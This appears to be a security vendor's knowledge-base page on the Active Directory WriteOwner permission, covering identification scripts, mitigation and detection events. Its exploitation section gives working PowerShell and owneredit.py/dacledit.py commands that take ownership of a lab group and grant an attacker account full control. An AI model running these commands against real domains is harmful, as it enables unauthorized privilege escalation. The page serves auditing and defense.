# WriteOwner

## Summary

|                            |                                   |
| -------------------------- | --------------------------------- |
| **FSProtect ACL Alias**    | WriteOwner                        |
| **AD Alias**               | Modify Owner                      |
| **Affected Object Types**  | Users, Groups, Computers, Domains |
| **Exploitation Certainty** | Certain                           |
| **AD Right**               | WriteOwner                        |

## Description

The `WriteOwner` permission in Active Directory allows a user to change the ownership of an object, such as user accounts, groups, or computers. This permission is essential for administrative tasks, enabling proper delegation and management within the directory.

However, if misconfigured, the `WriteOwner` permission can pose significant security risks. An attacker with this permission can assign ownership of an object to themselves. nce ownership is taken, the attacker can modify the object's permissions to grant themselves additional rights, such as full control. This can lead to unauthorized access, privilege escalation, and persistent access within the system.

## Identification

### PowerShell

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `WriteOwner` entries.

**1.** Find-WriteOwner Function

```powershell
function Find-WriteOwner {
    [CmdletBinding()]
    param ([string]$SearchBase = $null,[string]$OutputPath = "WriteOwner.csv",[string]$Target = $null,[switch]$ExcludeAdmins)
    Import-Module ActiveDirectory -ErrorAction Stop
    Write-Host "Gathering Active Directory objects and inspecting ACLs for vulnerable WriteOwner permissions..."
    $Allow = [System.Security.AccessControl.AccessControlType]::Allow
    $Right = [System.DirectoryServices.ActiveDirectoryRights]::WriteOwner
    $DomainNetBIOSName = $null
    try { $DomainNetBIOSName = (Get-ADDomain).NetBIOSName } catch {}
    $ExcludedSIDs = @()
    if ($ExcludeAdmins) {
        Write-Host "Excluding default/well-known privileged principals..."
        $ExcludedSIDs += New-Object System.Security.Principal.SecurityIdentifier 'S-1-3-0'
        $nameCandidates = @(
            'NT AUTHORITY\SYSTEM','NT AUTHORITY\SELF','BUILTIN\Administrators','BUILTIN\Account Operators','BUILTIN\Server Operators','BUILTIN\Backup Operators','BUILTIN\Print Operators','NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS')
        if ($DomainNetBIOSName) {$nameCandidates += @( "$DomainNetBIOSName\Domain Admins","$DomainNetBIOSName\Enterprise Admins","$DomainNetBIOSName\Schema Admins","$DomainNetBIOSName\Domain Controllers", "$DomainNetBIOSName\Key Admins","$DomainNetBIOSName\RAS and IAS Servers","$DomainNetBIOSName\DnsAdmins","$DomainNetBIOSName\Enterprise Key Admins")}
        foreach ($n in $nameCandidates) {try {$sid = (New-Object System.Security.Principal.NTAccount $n).Translate([System.Security.Principal.SecurityIdentifier]); $ExcludedSIDs += $sid} catch {}}
        Get-ADDomainController -Filter * | ForEach-Object { $ExcludedSIDs += (Get-ADComputer -Identity $_.Name -Properties SID).SID}
        $ExcludedSIDs = $ExcludedSIDs | Select-Object -Unique
    }
    $objectsToScan = @()
    try {
        if ($Target) {
            Write-Host "Targeting single object DN: $Target"
            $obj = Get-ADObject -Identity $Target -ErrorAction Stop
            if ($obj) { $objectsToScan = @($obj) }
        } else {
            $adObjectParams = @{
                LDAPFilter       = "(objectClass=*)"
                ResultPageSize   = 2000
                ResultSetSize    = $null
                ErrorAction      = "Stop"
            }
            if ($SearchBase) {$adObjectParams["SearchBase"] = $SearchBase;Write-Host "Searching for objects within '$SearchBase'."} else { Write-Host "Searching for all objects in the domain." }
            $objectsToScan = Get-ADObject @adObjectParams
        }
        if (-not $objectsToScan -or $objectsToScan.Count -eq 0) {Write-Output "No objects found matching the criteria."; return }}catch { Write-Error "Failed to retrieve Active Directory objects: $($_.Exception.Message)"; return}
    $results = New-Object System.Collections.Generic.List[object]
    foreach ($obj in $objectsToScan) {
        $dn = $obj.DistinguishedName
        try {
            $acl = Get-Acl -Path "AD:$dn" -ErrorAction Stop
            foreach ($ace in $acl.Access) {
                if ($ace.AccessControlType -ne $Allow) { continue };if (-not (($ace.ActiveDirectoryRights -band $Right) -eq $Right)) { continue }
                if ($ace.IsInherited) { continue }
                  if ($ExcludeAdmins) {$aceSid = $null
                    try {$aceSid = $ace.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier])} catch {}
                    if ($aceSid -and ($ExcludedSIDs -contains $aceSid)) {continue }
                }
                $results.Add([PSCustomObject]@{'Object Distinguished Name' = $dn
                    'Permission Holder'         = $ace.IdentityReference.Value
                    'IsInherited'               = $ace.IsInherited
                    'ACE Type'                  = $ace.AccessControlType
                    'Rights (bitmask)'          = $ace.ActiveDirectoryRights
                })}}catch {Write-Warning "Could not retrieve ACL for '$dn': $($_.Exception.Message)"}}
    if ($results.Count -gt 0) {
        Write-Host "Found $($results.Count) object(s) with vulnerable WriteOwner permissions$(if($ExcludeAdmins){' (excluding default entries)'})."
        try {$results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop ;Write-Output "Results exported successfully to '$OutputPath'"}
        catch { Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)" } } else { Write-Output "No Active Directory objects found with vulnerable WriteOwner permissions$(if($ExcludeAdmins){' (after exclusions)'})." }}
```

**2.** Scan all domain objects

```powershell
Find-WriteOwner
```

**3.** Scan a specific object

```powershell
Find-WriteOwner -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"
```

**4.** Exclude default admins for clear visibility

```powershell
Find-WriteOwner -ExcludeAdmins -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"
```

**5.** Using SearchBase to limit the Scope

```powershell
Find-WriteOwner -SearchBase "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `WriteOwner` entries without relying on any external modules or dependencies.

**1.** Find-WriteOwnerSimple Function

```powershell
function Find-WriteOwnerSimple {
    [CmdletBinding()]
    param ([string]$SearchBase = $null,[string]$OutputPath = "WriteOwner.csv", [string]$Target = $null,[switch]$ExcludeAdmins)
    $Allow = [System.Security.AccessControl.AccessControlType]::Allow
    $Right = [System.DirectoryServices.ActiveDirectoryRights]::WriteOwner
    try {$root   = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE");
        $baseDN = $root.Properties["defaultNamingContext"].Value} catch {Write-Error "Failed to bind RootDSE: $_" ;return }
    $ExcludedSIDs = @()
    if ($ExcludeAdmins) {
        $names = @('NT AUTHORITY\SYSTEM','NT AUTHORITY\SELF','BUILTIN\Administrators', 'BUILTIN\Account Operators','BUILTIN\Server Operators','BUILTIN\Backup Operators','BUILTIN\Print Operators','NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS')
        $dom = $env:USERDOMAIN
        if ($dom) {$names += @( "$dom\Domain Admins","$dom\Enterprise Admins","$dom\Schema Admins","$dom\Domain Controllers", "$dom\Key Admins","$dom\Enterprise Key Admins", "$dom\DnsAdmins","$dom\RAS and IAS Servers")}
        foreach ($n in $names) {try {$ExcludedSIDs += ([System.Security.Principal.NTAccount]$n).Translate([System.Security.Principal.SecurityIdentifier])} catch {}}
        try {
            $dcOU = "LDAP://OU=Domain Controllers,$baseDN"
            $dcRoot = New-Object System.DirectoryServices.DirectoryEntry($dcOU)
            $ds = New-Object System.DirectoryServices.DirectorySearcher($dcRoot)
            $ds.Filter = "(objectCategory=computer)"; $ds.PageSize = 1000
            [void]$ds.PropertiesToLoad.Add("objectSid");$dcs = $ds.FindAll()
            foreach ($dc in $dcs) {
                try {$sidBytes = $dc.Properties["objectSid"][0];if ($sidBytes) { $ExcludedSIDs += New-Object System.Security.Principal.SecurityIdentifier($sidBytes,0) }} catch {}}} catch {}
        try { $ExcludedSIDs += New-Object System.Security.Principal.SecurityIdentifier 'S-1-3-0' } catch {}
        $ExcludedSIDs = $ExcludedSIDs | Select-Object -Unique
    }
    $entries = @()
    if ($Target) { try {$entries = @( New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target") )} catch {Write-Error "Failed to bind to target '$Target': $_" ;return } } else {
        $searchBaseDN = $SearchBase
        if (-not $searchBaseDN) { $searchBaseDN = $baseDN }
        try {
            $searchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$searchBaseDN")
            $ds = New-Object System.DirectoryServices.DirectorySearcher($searchRoot)
            $ds.Filter = "(objectClass=*)";$ds.PageSize = 1000
            [void]$ds.PropertiesToLoad.Add("distinguishedName");$hits = $ds.FindAll()
            $entries = foreach ($h in $hits) {
                try { $h.GetDirectoryEntry() } catch {}}} catch {Write-Error "LDAP enumeration failed: $_"; return}}
    $results = New-Object System.Collections.Generic.List[object]
    foreach ($entry in $entries) {
        if (-not $entry) { continue };$dn = $null
        try { $dn = $entry.Properties["distinguishedName"][0] } catch {};if (-not $dn) { continue }
        try {$acl  = $entry.ObjectSecurity ;$aces = $acl.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])} catch { Write-Warning "Could not read ACL for $dn : $_";  continue }
        foreach ($ace in $aces) {
            if ($ace.AccessControlType -ne $Allow) { continue } ;if ( ($ace.ActiveDirectoryRights -band $Right) -ne $Right ) { continue }
            if ($ace.IsInherited) { continue }
            if ($ExcludeAdmins) { try {$aceSid = [System.Security.Principal.SecurityIdentifier]$ace.IdentityReference;if ($ExcludedSIDs -and ($ExcludedSIDs -contains $aceSid)) { continue }} catch {}}
            $who = try {$ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value} catch {$ace.IdentityReference.Value}
            $results.Add([PSCustomObject]@{'Object Distinguished Name' = $dn; 'Permission Holder'         = $who; 'IsInherited'               = $ace.IsInherited; 'ACE Type'                  = $ace.AccessControlType; 'Rights (bitmask)'          = $ace.ActiveDirectoryRights})}}
    if ($results.Count -gt 0) { try { $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8; Write-Host "Exported $($results.Count) entr$(if($results.Count -eq 1){'y'}else{'ies'}) to $OutputPath"} catch {Write-Error "Failed to export results: $_"}} else { Write-Host "No objects found with explicit non-inherited WriteOwner ACEs$(if($ExcludeAdmins){' after exclusions'})" }}
```

**2.** Scan all domain objects

```powershell
Find-WriteOwnerSimple
```

**3.** Scan a specific object

```powershell
Find-WriteOwnerSimple -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"
```

**4.** Exclude default admins for clear visibility

```powershell
Find-WriteOwnerSimple -ExcludeAdmins -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"
```

**5.** Using `SearchBase` to limit the Scope

```powershell
Find-WriteOwnerSimple -SearchBase "CN=Builtin,DC=Forestall,DC=labs"
```

### Active Directory Users and Computers

**1.** Open `Active Directory Users and Computers` on your Windows server.

**2.** Right-click on the Object name.

**3.** Select Properties from the context menu.

**4.** In the Properties window, navigate to the Security tab.

**5.** Click the Advanced button to open the Advanced Security Settings dialog.

**6.** In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

**7.** Click Edit to modify the selected ACE.

**8.** In the permissions list, locate and select the `Modify owner` permission.

**9.** Click OK to save your changes and close the dialogs.

![alt text](/files/QW9Ctdvl7GntuhhEm3E0)

## Exploitation

After granting our controlled attacker account **Full Control** over the object, further exploitation can be carried out. For detailed techniques and scenarios, please refer to [GenericAll](https://gitlab.com/forestall/fsprotect-knowledge-base/-/blob/main/edges/GenericAll/README.md).

The following examples demonstrate exploitation on Windows and Linux environments.

### Windows

#### To change the object's owner using AD Module

```powershell
Import-Module ActiveDirectory
$objectDN = "<Vulnerable User>"
$acl = Get-Acl -Path "AD:$objectDN"
$newOwner = "<Attacker/Internal Threat>"
$acl.SetOwner([System.Security.Principal.NTAccount]$newOwner)
Set-Acl -Path "AD:$objectDN" -AclObject $acl
```

Example:

```powershell
Import-Module ActiveDirectory
$objectDN = "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"
$acl = Get-Acl -Path "AD:$objectDN"
$newOwner = "forestall\adam"
$acl.SetOwner([System.Security.Principal.NTAccount]$newOwner)
Set-Acl -Path "AD:$objectDN" -AclObject $acl
```

![Set Owner Powershell](/files/26OEYY7Xr4pHW1bBcUGU)

#### Now *FullControl* access can be granted to the controlled user

```powershell
Import-Module ActiveDirectory
$objectDN  = "<objectDn>"
$targetUser = New-Object System.Security.Principal.NTAccount("<domain>","<user>")
$acl              = Get-Acl -Path "AD:$objectDN"
$fullControlRule  = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($targetUser,[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,[System.Security.AccessControl.AccessControlType]::Allow)
$acl.AddAccessRule($fullControlRule)
Set-Acl -Path "AD:$objectDN" -AclObject $acl
```

Example:

```powershell
Import-Module ActiveDirectory
$objectDN  = "CN=John,OU=Users,DC=forestall,DC=labs"
$targetUser = New-Object System.Security.Principal.NTAccount("FORESTALL","adam")
$acl              = Get-Acl -Path "AD:$objectDN"
$fullControlRule  = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($targetUser,[System.DirectoryServices.ActiveDirectoryRights]::GenericAll, [System.Security.AccessControl.AccessControlType]::Allow)
$acl.AddAccessRule($fullControlRule)
Set-Acl -Path "AD:$objectDN" -AclObject $acl
```

![Generic All Powershell](/files/OpEVO4qnaO1olwlHXcGF)

### Linux

#### To change the object's owner using `owneredit.py`

```bash
owneredit.py -new-owner <user> -target <targetobject> -action write <domain>/<user>:'<pass>' -dc-ip <dc-ip>
```

Example:

```bash
owneredit.py -new-owner adam -target john -action write forestall.labs/adam:'Temp123!' -dc-ip 192.168.231.21
```

![Change Owner Linux](/files/1DeVS0C8pKHYBXEM4KI3)

#### Now *FullControl* access can be granted to the controlled user

```bash
dacledit.py -rights FullControl -principal <user> -target <targetObject> -action write <domain>/<user>:'<pass>' -dc-ip <dcip>
```

Example:

```bash
dacledit.py -rights FullControl -principal adam -target john -action write forestall.labs/adam:'Temp123!' -dc-ip 192.168.231.21
```

![Grant FullControl Linux](/files/5e6LousalWb1sWRXHbLT)

## Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

**1.** Open `Active Directory Users and Computers`, and enable the `Advanced Features` option.

**2.** Double click the affected object and open `Security` tab.

**3.** In this tab, click `Advanced` button and open the risky Access Control Entry.

**4.** Remove the `Modify Owner` right.

**5.** Click OK and Apply buttons for saving changes.

![alt text](/files/QW9Ctdvl7GntuhhEm3E0)

## Detection

Ownership changes modify the `ntSecurityDescriptor` of an Active Directory object. Monitor for these events:

| Event ID | Description                              | Fields/Attributes                                                                  | References                                                                           |
| -------- | ---------------------------------------- | ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified. | **AttributeLDAPDisplayName** (expected value `ntSecurityDescriptor`), **ObjectDN** | <https://learn.microsoft.com/windows/security/threat-protection/auditing/event-5136> |
| 4662     | An operation was performed on an object. | **ObjectType**, **ObjectName**, **AccessMask**                                     | <https://learn.microsoft.com/windows/security/threat-protection/auditing/event-4662> |

## References

* [Abusing Active Directory ACLs/ACEs | Red Team Notes](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#writedacl--writeowner)
* [The Hacker Recipes: Grant ownership](https://www.thehacker.recipes/ad/movement/dacl/grant-ownership#grant-ownership)
* [Abusing AD-DACL: WriteOwner](https://www.hackingarticles.in/abusing-ad-dacl-writeowner/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/writeowner.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
